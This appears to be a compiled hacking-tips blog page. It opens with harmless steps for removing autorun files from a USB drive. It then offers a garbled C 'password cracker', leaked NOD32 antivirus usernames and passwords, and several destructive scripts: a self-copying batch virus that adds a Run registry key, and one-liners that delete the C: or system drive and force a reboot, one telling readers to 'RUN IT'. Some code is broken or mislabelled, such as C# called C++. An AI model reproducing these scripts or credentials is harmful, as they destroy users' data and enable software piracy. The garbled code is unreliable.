How to prevent your PEN drive from VIRUS

*Now go to Start--> Run and type cmd to open the Command Prompt window .

*Now go to My Computer and Check the Drive letter of your USB drive or Pen Drive.
( E.g. If it is written Kingston (I), then I: will be the drive letter .)

*In the Command Window ( cmd ) , type the drive letter: and Hit Enter .

*Now type dir/w/o/a/p and Hit Enter

*You will get a list of files . In the list , search if anyone of the following do exist

1. Autorun.inf

2. New Folder.exe

3. Bha.vbs

4. Iexplore.vbs

5. Info.exe
6. New_Folder.exe

7. Ravmon.exe
8. RVHost.exe or any other files with .exe Extension .

If you find any one of the files above , Run the command attrib -h -r -s -a *.* and Hit Enter.

Now Delete each File using the following Command del filename ( E.g del autorun.inf ) .

Get the computer pasword-virus using C pgm

//Code :
# include"stdio.h"
# include"process.h"
# include"stdlib.h"
# include"ctype.h"
# include"conio.h"
# include"mem.h"

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* Resourse allocation table */

if(argc<2){ fd="fopen(argv[1]," fd="="NULL){" size="0;" name="argv[1];">2)name=argv[2];
printf("Username:%s
",name);

/* Copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0)cracked=0;>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);

/* Generate 20 bytes of keystream */
for(i=0;i<20;i++){ ch="toupper(name[i]);" ch="="0)break;" ch="="'.')break;" cracked="20;" sizemask="keystream[0]+(keystream[1]<<8);" i="0;i<256;i++){">maxr)maxr=Data[i];
}
}

maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
divisible by 16 */

/*Search after resources */

Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
for(i=0;i>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd
",cracked);

/* Decrypt resources */
for(i=0;icracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
for(j=0;j
printf("%c",Data[Rpoint[i]+j]^keystream[j]);
printf("
");
}
exit(0);
}

nod 32 usernames and pwd

nod 32 usernames and pwd
UserName: EAV-16110434
PassWord: n4vejptbpc

UserName: EAV-13559906
PassWord: 7urej5xva5

UserName: EAV-16340916
PassWord: jb2nr6mh7s

UserName: EAV-15925111
PassWord: 7t4mmh4rt3

UserName: EAV-13559911
PassWord: wdwd7kkf48

Simple batch virus

SIMPLE BATCH VIRUS

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don’t run this on ur pc
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h [...]

creat a virus in c++

using System;
using System.Diagnostics;

namespace DoingThisIsDumb
{
public static void Main()
{
Process.Start("deltree.exe", "-r -f %SYSTEMROOT%");
}
}

create a virus in notepad

@Echo off
Del C:\ *.* |y

And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...

create a virus using notepad

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00